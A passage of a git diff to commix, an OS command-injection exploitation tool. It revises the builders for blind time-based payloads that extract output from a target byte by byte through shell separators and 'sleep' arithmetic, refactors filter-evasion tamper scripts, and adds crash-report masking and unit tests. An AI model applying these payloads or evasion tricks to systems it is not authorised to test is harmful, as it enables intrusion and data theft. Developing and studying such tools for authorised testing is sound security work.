"1}))))\"" + settings.CMD_SUB_SUFFIX ) - elif separator in ("&", "&&") and not settings.USE_BACKTICKS: + elif separator in ("&", "&&") and checks.substitution_nests(): payload = separator + _py_timed_comparison(timesec, candidate_length, _py_length_expr(cmd), "<=") elif separator == "&": payload = (separator + @@ -572,25 +601,30 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met settings.USER_APPLIED_CMD = cmd word = _output_word(cmd) qmarks = "?" * (num_of_chars - 1) - var_ordinal_expr = "$(printf '%d' \"'${" + settings.RANDOM_VAR_GENERATOR + "}\")" + var_ordinal_expr = checks.byte_ordinal("${" + settings.RANDOM_VAR_GENERATOR + "}") + # Where the delay is scaled by the comparison, the reading goes in as a term of the arithmetic + # already open rather than as one of its own - see checks.byte_ordinal_term(). + var_ordinal_term = checks.byte_ordinal_term("${" + settings.RANDOM_VAR_GENERATOR + "}") ordinal_expr = _ordinal_expr(word, num_of_chars) if separator in (";", "\n", "\r\n") : payload = (separator + + # Sliced in bytes, as the length beside it counts - exported, since a rewrite can move the counting into a command of its own. + settings.BYTE_LOCALE_EXPORTED + separator + # Grab the execution output. settings.RANDOM_VAR_GENERATOR + "=\"" + word + "\"" + separator + settings.RANDOM_VAR_GENERATOR + "=\"${" + settings.RANDOM_VAR_GENERATOR + "#" + qmarks + "}\"" + separator + settings.RANDOM_VAR_GENERATOR + "=\"${" + settings.RANDOM_VAR_GENERATOR + "%\"${" + settings.RANDOM_VAR_GENERATOR + "#?}\"}\"" + separator + - "sleep $((" + str(timesec) + "*(" + str(ascii_char) + arith_operator + var_ordinal_expr + ")))" + "sleep $((" + str(timesec) + "*(" + str(ascii_char) + arith_operator + var_ordinal_term + ")))" ) - elif separator in ("&", "&&") and not settings.USE_BACKTICKS: + elif separator in ("&", "&&") and checks.substitution_nests(): payload = separator + _timed_comparison(timesec, ascii_char, _ordinal_arg_expr(word, num_of_chars), arith_operator) elif separator == "&": - # The "&&" this payload already carries can hold a variable, where a pipe into "wc" - # would bring in an operator the separator under test is not the one for. + # The "&&" this payload already carries holds the variable and the pin, where a pipe into "wc" would bring in an operator the separator under test is not. payload = (separator + + settings.BYTE_LOCALE_EXPORTED + "&&" + settings.RANDOM_VAR_GENERATOR + "=\"" + word + "\"" + "&&" + settings.RANDOM_VAR_GENERATOR + "=\"${" + settings.RANDOM_VAR_GENERATOR + "#" + qmarks + "}\"" + "&&" + settings.RANDOM_VAR_GENERATOR + "=\"${" + settings.RANDOM_VAR_GENERATOR + "%\"${" + settings.RANDOM_VAR_GENERATOR + "#?}\"}\"" + "&&" + @@ -601,7 +635,8 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met elif separator == "&&" : ampersand = "&" payload = (ampersand + - "sleep 0 " + separator + + # The command the "&&" needs on its left, pinning while it is there. + settings.BYTE_LOCALE_EXPORTED + separator + # Grab the execution output. settings.RANDOM_VAR_GENERATOR + "=\"" + word + "\"" + separator + settings.RANDOM_VAR_GENERATOR + "=\"${" + settings.RANDOM_VAR_GENERATOR + "#" + qmarks + "}\"" + separator + @@ -646,7 +681,7 @@ def get_char_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timesec settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(ascii_char) + arith_operator + "${" + settings.RANDOM_VAR_GENERATOR + "}))))\"" + settings.CMD_SUB_SUFFIX ) - elif separator in ("&", "&&") and not settings.USE_BACKTICKS: + elif separator in ("&", "&&") and checks.substitution_nests(): payload = separator + _py_timed_comparison(timesec, ascii_char, _py_ordinal_expr(cmd, num_of_chars), arith_operator) elif separator == "&": @@ -698,7 +733,7 @@ def fp_result_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timese settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(ascii_char) + "==${" + settings.RANDOM_VAR_GENERATOR + "}))))\"" + settings.CMD_SUB_SUFFIX ) - elif separator in ("&", "&&") and not settings.USE_BACKTICKS: + elif separator in ("&", "&&") and checks.substitution_nests(): payload = separator + _py_timed_comparison(timesec, ascii_char, settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\r\"" + settings.CMD_SUB_SUFFIX) elif separator == "&": diff --git a/src/core/testing.py b/src/core/testing.py index 8c09fab746..208a10c43d 100644 --- a/src/core/testing.py +++ b/src/core/testing.py @@ -14,6 +14,8 @@ """ import os +import sys +import doctest from src.utils import settings """ @@ -24,6 +26,7 @@ def smoke_test(): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) passed = True + doctests = 0 file_paths = [] for root, directories, filenames in os.walk(settings.COMMIX_ROOT_PATH): # The suite is run on its own, by the test runner - this walk is for what commix imports. @@ -39,6 +42,7 @@ def smoke_test(): if "." in path: try: __import__(path) + module = sys.modules[path] if settings.VERBOSITY_LEVEL != 0: debug_msg = "Succeeded importing '" + str(path) + "' module." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) @@ -46,10 +50,22 @@ def smoke_test(): error_msg = "Failed importing '" + path + "' module due to '" + str(e) + "'." settings.print_data_to_stdout(settings.print_error_msg(error_msg)) passed = False + else: + # The examples a module's own docstrings carry, run as the tests they are written as. + failures, _ = doctest.testmod(module, verbose=False) + if failures != 0: + error_msg = "Failed " + str(failures) + " doctest(s) in '" + path + "' module." + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) + passed = False + else: + doctests += len(doctest.DocTestFinder().find(module)) result = "Smoke test " if passed: result = result + "passed." + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Ran the examples in " + str(doctests) + " docstring(s)." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) settings.print_data_to_stdout(settings.print_bold_info_msg(result)) else: result = result + "failed." diff --git a/src/tamper/obfuscation/generic/randomcase.py b/src/tamper/obfuscation/generic/randomcase.py index 97a9328f04..0e3a9f2804 100644 --- a/src/tamper/obfuscation/generic/randomcase.py +++ b/src/tamper/obfuscation/generic/randomcase.py @@ -97,7 +97,7 @@ def tamper(payload): else: folded = "echo" + settings.SINGLE_WHITESPACE + mixed_case + "|rev|tr" + \ settings.SINGLE_WHITESPACE + "'[A-Z]'" + settings.SINGLE_WHITESPACE + "'[a-z]'" - if settings.USE_BACKTICKS: + if checks.using_backticks(): random_case_cmd = "\\`" + folded + "\\`" else: random_case_cmd = settings.CMD_SUB_PREFIX + folded + settings.CMD_SUB_SUFFIX diff --git a/src/tamper/obfuscation/posix/dashlesstest.py b/src/tamper/obfuscation/posix/dashlesstest.py index cc5da2245b..69160624a8 100644 --- a/src/tamper/obfuscation/posix/dashlesstest.py +++ b/src/tamper/obfuscation/posix/dashlesstest.py @@ -13,7 +13,6 @@ For more see the file 'readme/COPYING' for copying permission. """ -import re from src.utils import settings from src.core.controller import checks diff --git a/src/tamper/obfuscation/posix/printf2echo.py b/src/tamper/obfuscation/posix/printf2echo.py index dfd7287c01..1e61e06982 100644 --- a/src/tamper/obfuscation/posix/printf2echo.py +++ b/src/tamper/obfuscation/posix/printf2echo.py @@ -17,12 +17,15 @@ from src.core.controller import checks """ -About: Replaces the printf-based ASCII to Decimal `printf "%d" "'$char'"` with `echo -n $char | od -An -tuC | xargs`. +About: Replaces the printf-based ASCII to Decimal `printf '%d' "'$char"` with `echo -n $char | od -An -tuC | xargs`. Notes: This tamper script works against target(s) with a POSIX shell. The two pipes are the one thing this rewrite cannot be written without: 'od' reads a byte from its standard input alone, and the only way to hand it one without a pipe is awk's - 'sprintf', which carries the very name this script exists to avoid. On a target filtering a - pipe as well as 'printf', this one has nothing left to offer. + 'sprintf', which carries the very name this script exists to avoid. So it is written only + where a pipe is the operator the payload is already proving - under anything else the pipes + would be operators of this script's own, and the payload would stop being the one test it is. + 'od' counts a byte unsigned, which is what the reading it stands in for has to be brought + back to, so the arithmetic around that reading goes with it. """ __tamper__ = "printf2echo" @@ -37,17 +40,26 @@ def dependencies(): # Say with 'echo' what the payload said with 'printf'. def tamper(payload): - # The rewrite itself, for the one shape this project's payloads use printf in. - def printf_to_echo(payload): - if "printf" in payload: - space = checks.current_whitespace() - payload = payload.replace(settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "printf" + space + "'%d'" + space + "\"'$" + settings.RANDOM_VAR_GENERATOR + "2'\"" + settings.CMD_SUB_SUFFIX, - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo" + space + "-n" + space + "$" + settings.RANDOM_VAR_GENERATOR + "2" + space + "|" + space + "od" + space + "-An" + space + "-tuC" + space + "|" + space + "xargs" + settings.CMD_SUB_SUFFIX - ) + # A target settled as Windows after this script was accepted: 'cmd.exe' has no 'od' to read with. + if settings.TARGET_OS == settings.OS.WINDOWS: return payload - if settings.TARGET_OS != settings.OS.WINDOWS: - return printf_to_echo(payload) - else: + # The byte is handed to 'od' down a pipe, so this is only writable where a pipe is what is proving. + if checks.current_separator() not in ("|", "||"): return payload + space = checks.current_whitespace() + prefix, suffix = checks.byte_ordinal_bounds() + # The reading is taken whole - from the text written around it rather than by looking for a + # closing bracket, which the byte's own expression carries plenty of. + while prefix in payload: + opened = payload.index(prefix) + closed = payload.find(suffix, opened + len(prefix)) + if closed < 0: + break + byte = payload[opened + len(prefix):closed] + counted = (settings.CMD_SUB_PREFIX + "echo" + space + "-n" + space + "\"" + byte + "\"" + space + + "|" + space + "od" + space + "-An" + space + "-tuC" + space + "|" + space + "xargs" + + settings.CMD_SUB_SUFFIX) + payload = payload[:opened] + counted + payload[closed + len(suffix):] + return payload # eof diff --git a/src/tamper/obfuscation/posix/rev.py b/src/tamper/obfuscation/posix/rev.py index 4e4e2ec018..49c6cbda30 100644 --- a/src/tamper/obfuscation/posix/rev.py +++ b/src/tamper/obfuscation/posix/rev.py @@ -63,7 +63,7 @@ def tamper(payload): reversed_cmd = "awk" + settings.SINGLE_WHITESPACE + checks.awk_reverse_program(separator) + settings.SINGLE_WHITESPACE + settings.USER_APPLIED_CMD[::-1] else: reversed_cmd = "echo" + settings.SINGLE_WHITESPACE + settings.USER_APPLIED_CMD[::-1] + "|rev" - if settings.USE_BACKTICKS: + if checks.using_backticks(): rev_cmd = "\\`" + reversed_cmd + "\\`" else: rev_cmd = settings.CMD_SUB_PREFIX + reversed_cmd + settings.CMD_SUB_SUFFIX diff --git a/src/tamper/quoting/posix/backticks.py b/src/tamper/quoting/posix/backticks.py index 71a44d8fa3..fe80d9ced7 100644 --- a/src/tamper/quoting/posix/backticks.py +++ b/src/tamper/quoting/posix/backticks.py @@ -33,11 +33,31 @@ def dependencies(): if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True +""" +The substitution this script writes, settled before any payload is built rather than when it first +rewrites one. + +Settled then, the choice arrives one payload late: a builder reads it as it builds, so the first +payload of every boundary is written with '$( )' and only the ones after it carry this script at +all. 'tamper()' calls this too, for a target settled as Windows after the script was accepted. +""" +def declare(): + if not menu.options.interpreter and not settings.TARGET_OS == settings.OS.WINDOWS: + settings.CMD_SUB_PREFIX = settings.CMD_SUB_SUFFIX = settings.BACKTICK_SUBSTITUTION + elif checks.using_backticks(): + """ + A target settled as Windows, or an interpreter taken on, after this script was accepted. + + 'cmd.exe' has no backtick and an interpreter is handed its program rather than a shell line, so + what was chosen here no longer applies - and left standing it would go on being written into + every payload built from here on, by a script that has itself stopped rewriting anything. + """ + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = settings.NESTING_SUBSTITUTION + # Substitute the command through backticks rather than through '$()'. def tamper(payload): + declare() if not menu.options.interpreter and not settings.TARGET_OS == settings.OS.WINDOWS: - settings.USE_BACKTICKS = True - settings.CMD_SUB_PREFIX = settings.CMD_SUB_SUFFIX = "`" whitespace = checks.current_whitespace() payload = payload.replace("${#" + settings.RANDOM_VAR_GENERATOR + "}", settings.CMD_SUB_PREFIX + "expr" + whitespace + "length" + whitespace + "\"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX diff --git a/src/tamper/whitespace/generic/multiplespaces.py b/src/tamper/whitespace/generic/multiplespaces.py index a1dd6e72b5..4ca1cec232 100644 --- a/src/tamper/whitespace/generic/multiplespaces.py +++ b/src/tamper/whitespace/generic/multiplespaces.py @@ -33,13 +33,23 @@ _pristine = {} # Pad the payload's own spaces out into runs of them. -def tamper(payload): +""" +What this script settles before any payload is built, rather than when it first rewrites one. + +Called once while the scripts are being settled. 'tamper()' calls it too, so a choice that has to +follow a target settled later - an OS, or a technique that has since been refused - still follows it. +""" +def declare(): for index, whitespace in enumerate(settings.WHITESPACES): base = _pristine.setdefault(index, whitespace) # A list rebuilt for another target, or one another script has changed, replaces what was kept. if not whitespace.startswith(base): base = _pristine[index] = whitespace settings.WHITESPACES[index] = base * random.randrange(3, 8) + + +def tamper(payload): + declare() return payload # eof diff --git a/src/tamper/whitespace/generic/space2htab.py b/src/tamper/whitespace/generic/space2htab.py index f992a88c8d..6bab5513c3 100644 --- a/src/tamper/whitespace/generic/space2htab.py +++ b/src/tamper/whitespace/generic/space2htab.py @@ -28,12 +28,22 @@ settings.TAMPER_SCRIPTS[__tamper__] = True # Separate the payload's words with a horizontal tab instead of a space. -def tamper(payload): +""" +What this script settles before any payload is built, rather than when it first rewrites one. + +Called once while the scripts are being settled. 'tamper()' calls it too, so a choice that has to +follow a target settled later - an OS, or a technique that has since been refused - still follows it. +""" +def declare(): if len(settings.WHITESPACES) != 0: if settings.WHITESPACES[0] == settings.SINGLE_WHITESPACE: settings.WHITESPACES[0] = space2htab elif space2htab not in settings.WHITESPACES: settings.WHITESPACES.append(space2htab) + + +def tamper(payload): + declare() return payload # eof diff --git a/src/tamper/whitespace/generic/space2plus.py b/src/tamper/whitespace/generic/space2plus.py index f05e5e9099..7bb7fb6a64 100644 --- a/src/tamper/whitespace/generic/space2plus.py +++ b/src/tamper/whitespace/generic/space2plus.py @@ -29,7 +29,13 @@ settings.TAMPER_SCRIPTS[__tamper__] = True # Separate the payload's words with a plus sign instead of a space. -def tamper(payload): +""" +What this script settles before any payload is built, rather than when it first rewrites one. + +Called once while the scripts are being settled. 'tamper()' calls it too, so a choice that has to +follow a target settled later - an OS, or a technique that has since been refused - still follows it. +""" +def declare(): if len(settings.WHITESPACES) != 0 and not settings.IS_JSON: if settings.WHITESPACES[0] == settings.SINGLE_WHITESPACE: settings.WHITESPACES[0] = space2plus @@ -42,6 +48,10 @@ def tamper(payload): warn_msg += "Skipping tamper script." settings.print_once(warn_msg) + + +def tamper(payload): + declare() return payload # eof diff --git a/src/tamper/whitespace/posix/space2ifs.py b/src/tamper/whitespace/posix/space2ifs.py index 19b95dc37a..2cf653bcfe 100644 --- a/src/tamper/whitespace/posix/space2ifs.py +++ b/src/tamper/whitespace/posix/space2ifs.py @@ -35,7 +35,13 @@ def dependencies(): settings.TAMPER_SCRIPTS[__tamper__] = True # Separate the payload's words with '${IFS}' instead of a space. -def tamper(payload): +""" +What this script settles before any payload is built, rather than when it first rewrites one. + +Called once while the scripts are being settled. 'tamper()' calls it too, so a choice that has to +follow a target settled later - an OS, or a technique that has since been refused - still follows it. +""" +def declare(): if len(settings.WHITESPACES) != 0: # Three states, not two: the technique is None until it has run, and that counts as not # having been refused - so this asks whether it failed, rather than whether it succeeded. @@ -54,6 +60,10 @@ def tamper(payload): settings.WHITESPACES.remove(space2ifs) if len(settings.WHITESPACES) == 0: settings.WHITESPACES.append(settings.SINGLE_WHITESPACE) + + +def tamper(payload): + declare() return payload # eof diff --git a/src/tamper/whitespace/posix/space2ifsraw.py b/src/tamper/whitespace/posix/space2ifsraw.py index 96d53f106b..3a2ae61bc4 100644 --- a/src/tamper/whitespace/posix/space2ifsraw.py +++ b/src/tamper/whitespace/posix/space2ifsraw.py @@ -39,12 +39,22 @@ def dependencies(): settings.TAMPER_SCRIPTS[__tamper__] = True # Separate the payload's words with '$IFS$9' instead of a space. -def tamper(payload): +""" +What this script settles before any payload is built, rather than when it first rewrites one. + +Called once while the scripts are being settled. 'tamper()' calls it too, so a choice that has to +follow a target settled later - an OS, or a technique that has since been refused - still follows it. +""" +def declare(): if settings.TARGET_OS != settings.OS.WINDOWS and len(settings.WHITESPACES) != 0: if settings.WHITESPACES[0] == settings.SINGLE_WHITESPACE: settings.WHITESPACES[0] = space2ifsraw elif space2ifsraw not in settings.WHITESPACES: settings.WHITESPACES.append(space2ifsraw) + + +def tamper(payload): + declare() return payload # eof diff --git a/src/tamper/whitespace/windows/space2vtab.py b/src/tamper/whitespace/windows/space2vtab.py index e662588e3c..b0f08e6be7 100644 --- a/src/tamper/whitespace/windows/space2vtab.py +++ b/src/tamper/whitespace/windows/space2vtab.py @@ -33,7 +33,13 @@ def dependencies(): settings.TAMPER_SCRIPTS[__tamper__] = True # Separate the payload's words with a vertical tab instead of a space. -def tamper(payload): +""" +What this script settles before any payload is built, rather than when it first rewrites one. + +Called once while the scripts are being settled. 'tamper()' calls it too, so a choice that has to +follow a target settled later - an OS, or a technique that has since been refused - still follows it. +""" +def declare(): if len(settings.WHITESPACES) != 0: if settings.TARGET_OS == settings.OS.WINDOWS: if settings.WHITESPACES[0] == settings.SINGLE_WHITESPACE: @@ -47,6 +53,10 @@ def tamper(payload): settings.WHITESPACES.remove(space2vtab) if len(settings.WHITESPACES) == 0: settings.WHITESPACES.append(settings.SINGLE_WHITESPACE) + + +def tamper(payload): + declare() return payload # eof diff --git a/src/utils/common.py b/src/utils/common.py index f67fd0a69e..2ffb26c5c5 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -210,6 +210,21 @@ def show_http_error_codes(): Masks sensitive data in the supplied message. """ def mask_sensitive_data(err_msg): + """ + What each option was given, masked wherever it turns up - not only where it follows the option's + own name. A value reaches a message through more than the command line: a stack trace quoting it, + a URL rebuilt around it, a path printed by something else. + """ + for option in settings.SENSITIVE_VALUE_OPTIONS: + value = getattr(menu.options, option, None) + if not value or not isinstance(value, str) or len(value) < 3: + continue + err_msg = err_msg.replace(value, "<sanitized>") + + # The home directory carries the account's own name, whoever printed the path. + err_msg = re.sub(r"(?i)([A-Za-z]:[\\/]+Users[\\/]+|[\\/]+home[\\/]+)([^\\/\s]+)", + lambda match: match.group(1) + "<sanitized>", err_msg) + for item in settings.SENSITIVE_OPTIONS: """ The whole value goes, not the part of it before a hyphen. diff --git a/src/utils/settings.py b/src/utils/settings.py index d409be3dd5..6da5167722 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -477,7 +477,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "260" +REVISION = "261" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -615,6 +615,10 @@ def payload_safe_chars(): # Feeds 'set /p' from the null device, so its no-newline echo trick gets EOF instead of blocking. CMD_NUL = "<nul" +# The substitution that cannot hold another one - see checks.substitution_nests(). +BACKTICK_SUBSTITUTION = "`" +# The one that can, to go back to where a script that chose otherwise turns out not to apply. +NESTING_SUBSTITUTION = ("$(", ")") CMD_SUB_PREFIX = "$(" CMD_SUB_SUFFIX = ")" @@ -745,6 +749,16 @@ class OS(object): # Max Length for execution output. MAXLEN = 10000 +# How long an output is allowed to be said to be before the answer is disbelieved rather than +# trusted - a bound on what is plausible, not on what is read. An oracle that answers yes to +# everything would otherwise double its way up for as long as the arithmetic holds. +MAX_INFERRED_LENGTH = 50 * 1024 * 1024 + +# The factor the length search grows its bracket by before halving it back. Larger reaches a long +# output in fewer steps, at the cost of a wider bracket to halve - and measured across the lengths +# worth reading, four is where the two balance, saving several probes on a large output for at most +# one more on the smallest. +LENGTH_SEARCH_BASE = 4 STDIN_PARSING = False @@ -859,6 +873,17 @@ class OS(object): # Use the full printable ASCII range; bisection only depends on ordinal bounds. CHAR_POOL_SINGLE = list(range(32, 127)) +# The largest ordinal a byte can be. The pools below stop at printable ASCII, which is what output +# mostly is - a byte above that is searched for only once the pool has been ruled out. +HIGHEST_BYTE = 255 + +# How a byte the page's own encoding cannot read is written down instead, so that it is still the +# byte that was sent - and the error handler that writes it that way. +UNREADABLE_BYTE_FORMAT = "\\x%02x" +UNREADABLE_BYTE_HANDLER = "commix-keep-bytes" +# The same thing read back: only a byte past ASCII is ever written out this way. +UNREADABLE_BYTE_REGEX = r"\\x([89a-fA-F][0-9a-fA-F])" + # Newline and tab are part of real command output, so they have to be recoverable too. CHAR_POOL_MULTI = [9, 10] + list(range(32, 127)) @@ -2065,6 +2090,10 @@ class PRIORITY(object): "cmd", "%0d", "PATH%%u*", + # A quoted name is a command name rather than an assignment, and the locale would go unpinned. + "LC_ALL", + # A builtin, so there is no file of its own length for a glob to resolve it to. + "export", RANDOM_VAR_GENERATOR, RANDOM_VAR_GENERATOR + "1", RANDOM_VAR_GENERATOR + "2", @@ -2181,8 +2210,6 @@ class END_LINE: # for a target whose filter blocks command substitution outright but still lets a separator through. SKIP_SUBST = False -USE_BACKTICKS = False - METASPLOIT_ERROR_MSG = "You need to have Metasploit installed. " METASPLOIT_ERROR_MSG += "Please ensure it is installed in the right path." @@ -2451,9 +2478,36 @@ class END_LINE: # Options to explicitly mask in anonymous (unhandled exception) reports. # Everything that can carry a target's identity or a credential into a report meant for strangers. -SENSITIVE_OPTIONS = ["--data", "-d", "--cookie", "-p", "--url", "-u", "-x", "--auth-cred", "-r", "-l", +# The locale a payload measures its own output in. +# +# '${#var}' counts characters, and the retrieval beside it counts bytes - 'cut -c', 'tail -c' and +# the ordinal that reads one back. A shell in a UTF-8 locale makes the two disagree on any output +# that is not ASCII, so the length a run is given is short and the last bytes are never asked for. +# Pinned where the separator under test can carry the assignment, which adds nothing new to filter. +BYTE_LOCALE = "LC_ALL=C" + +# The same locale, exported - what a measurement taken by a command of its own ('expr length') needs, since an assignment the shell keeps to itself never reaches one. +BYTE_LOCALE_EXPORTED = "export " + BYTE_LOCALE + +# What a crash report may not carry. Named twice over, because one pass is not enough. +# +# The values come first: whatever these options were given is masked wherever it turns up, not only +# where it follows the option's own name - a credential read back inside a stack trace, a URL +# rebuilt into a message, a path printed by something else all leak past a pattern written around +# the command line. Named by the parser's own destination, so an alias cannot miss. +SENSITIVE_VALUE_OPTIONS = ("url", "data", "cookie", "host", "referer", "header", "headers", + "proxy", "proxy_cred", "proxy_file", "auth_cred", "auth_data", + "auth_url", "auth_file", "oob_token", "csrf_token", "csrf_data", + "csrf_url", "safe_url", "second_url", "reg_data") + +# And the command line itself, for a value that never reached an option - a typo, or a run that +# died before the parser finished. Matched on the option as typed, aliases and all. +SENSITIVE_OPTIONS = ["--data", "--data-raw", "-d", "--cookie", "-p", "--url", "-u", "-x", + "--auth-cred", "--auth-creds", "--auth-data", "--auth-url", "--auth-file", + "--proxy-cred", "--proxy-file", "--oob-token", "-r", "-l", "--proxy", "--header", "-H", "--headers", "--load-cookies", "--live-cookies", - "--csrf-token", "--host", "--referer"] + "--csrf-token", "--csrf-data", "--csrf-url", "--reg-data", + "--safe-url", "--second-url", "--host", "--referer"] CAPTCHA_DETECED = None diff --git a/tests/_testutils.py b/tests/_testutils.py index d5d5516b65..69de3a1fee 100644 --- a/tests/_testutils.py +++ b/tests/_testutils.py @@ -35,7 +35,7 @@ def stage(separator, command="echo Hello", target_os=None, rev=False, whitespace settings.WHITESPACES = [whitespace or settings.SINGLE_WHITESPACE] settings.EXPLOITATION_PHASE = True settings.TIME_RELATED_ATTACK = True - settings.USE_BACKTICKS = False + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = "$(", ")" settings.USER_APPLIED_CMD = command settings.CHECKING_PARAMETER = "P" settings.CONFIRMED_BOUNDARY = {"P": ("", "", separator, settings.WHITESPACES[0])} diff --git a/tests/test_checks.py b/tests/test_checks.py index aa548910d4..e65881df01 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -74,6 +74,44 @@ def test_the_fold_is_asked_for_explicitly(self): self.assertIn("tolower", checks.awk_reverse_program(";", fold=True)) self.assertNotIn("tolower", checks.awk_reverse_program(";")) +class SmallDecisions(unittest.TestCase): + """ + Helpers a run leans on in passing. None of them reaches the network, and each one decides + something a later line reads back as fact. + """ + def test_a_port_is_a_number_inside_the_range(self): + for port in ("1", "80", "8080", "65535"): + self.assertTrue(checks._validate_port(port), port) + for port in ("0", "65536", "-1", "", "abc", "80.5"): + self.assertFalse(checks._validate_port(port), port) + + def test_a_uid_is_classified_by_the_range_it_falls_in(self): + self.assertEqual("root user", checks.classify_uid("0")) + for uid in ("1", "98"): + self.assertEqual("system user", checks.classify_uid(uid), uid) + for uid in ("100", "500", "1000"): + self.assertEqual("regular user", checks.classify_uid(uid), uid) + for uid in ("99", "60001", "65534"): + self.assertEqual("anonymous user", checks.classify_uid(uid), uid) + self.assertEqual("non-trusted user", checks.classify_uid("60002")) + + def test_a_uid_past_the_last_range_is_not_classified(self): + self.assertEqual("", checks.classify_uid("65535")) + + def test_a_uid_that_is_not_a_number_is_refused(self): + # Read off the target's own output, so it is not trusted to be a number. + self.assertRaises(ValueError, checks.classify_uid, "nobody") + + def test_a_command_is_wrapped_so_its_output_comes_back(self): + was = (settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX) + try: + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = "$(", ")" + wrapped = checks.add_command_substitution("id") + self.assertIn("id", wrapped) + self.assertIn(settings.CMD_SUB_PREFIX, wrapped) + finally: + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = was + class TamperDependencies(unittest.TestCase): """ Why a script cannot be applied to the target at hand, or nothing where it can. diff --git a/tests/test_common.py b/tests/test_common.py new file mode 100644 index 0000000000..38e572e093 --- /dev/null +++ b/tests/test_common.py @@ -0,0 +1,140 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +""" +The helpers a run leans on away from any target, and the one that decides what a crash report may +carry. Nothing here needs the network; all of it is read by code that does. +""" + +import os +import re +import unittest + +from src.core.parse import cmdline as menu +from src.utils import common +from src.utils import settings + +ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +CMDLINE = os.path.join(ROOT, "src", "core", "parse", "cmdline.py") + +class SanitisedReports(unittest.TestCase): + """ + An unhandled exception offers to open a GitHub issue, and what it carries is read by strangers. + Every option that can hold a credential, a token or a target has to be masked before it goes. + """ + # Named for what they select, not for anything they could leak: a scheme, a registry key, a + # delimiter character and a request count. + NOT_A_SECRET = ("--auth-type", "--reg-key", "--cookie-del", "--proxy-freq") + + def _value_options_named_like_a_secret(self): + with open(CMDLINE) as handle: + source = handle.read() + found = set() + for name, body in re.findall(r'add_option\(\s*"(--[a-z0-9-]+)"(.*?)\)\s*\n', source, re.S): + if 'action="store_true"' in body or 'action="store_false"' in body: + continue + if re.search(r"cred|passwd|password|token|secret|auth|cookie|proxy|header|url|host|referer|data", name): + found.add(name) + return found + + def test_the_scan_finds_the_options_at_all(self): + self.assertGreater(len(self._value_options_named_like_a_secret()), 8) + + def test_every_option_that_can_carry_a_secret_is_masked(self): + missing = sorted(_ for _ in self._value_options_named_like_a_secret() + if _ not in settings.SENSITIVE_OPTIONS and _ not in self.NOT_A_SECRET) + self.assertEqual([], missing) + + def test_an_alias_is_masked_as_well_as_the_name_it_stands_for(self): + """ + The report carries what was typed. An alias matches none of the masks written for the name it + is an alias of, so naming only one of the two leaves the other one readable. + """ + with open(CMDLINE) as handle: + source = handle.read() + missing = [] + for alias, name in re.findall(r'\(\s*"(--[a-z0-9-]+)",\s*"(--[a-z0-9-]+)"\s*\)', source): + if name in settings.SENSITIVE_OPTIONS and alias not in settings.SENSITIVE_OPTIONS: + missing.append(alias + " (alias of " + name + ")") + self.assertEqual([], missing) + + def test_a_value_is_masked_whole(self): + # A hyphen inside the value used to end the mask early, leaving the rest of it readable. + self.assertEqual("--auth-cred=<sanitized>", common.mask_sensitive_data("--auth-cred=user:p-ssw0rd")) + self.assertEqual("--auth-cred=<sanitized>", common.mask_sensitive_data('--auth-cred="a b c"')) + self.assertEqual("--proxy-cred <sanitized>", common.mask_sensitive_data("--proxy-cred admin:hunter2")) + + def test_what_is_not_a_secret_is_left_alone(self): + for text in ("--auth-type basic", "nothing here at all", "--technique=r"): + self.assertEqual(text, common.mask_sensitive_data(text)) + +class SanitisedValues(unittest.TestCase): + """ + A value reaches a report through more than the command line, so each one is masked wherever it + turns up: quoted back by an exception, rebuilt into a URL, printed as part of a path. + """ + def setUp(self): + self.saved = dict((_, getattr(menu.options, _, None)) for _ in settings.SENSITIVE_VALUE_OPTIONS) + menu.options.url = "http://target.example/vuln.php?id=1" + menu.options.auth_cred = "admin:hunter2" + menu.options.proxy_cred = "proxyuser:pr0xyp4ss" + + def tearDown(self): + for name, value in self.saved.items(): + setattr(menu.options, name, value) + + def test_a_value_is_masked_away_from_its_own_option(self): + for text, secret in (("connecting to http://target.example/vuln.php?id=1 failed", "target.example"), + ("basic auth admin:hunter2 rejected", "hunter2"), + ("proxy handshake with proxyuser:pr0xyp4ss timed out", "pr0xyp4ss")): + self.assertNotIn(secret, common.mask_sensitive_data(text), text) + + def 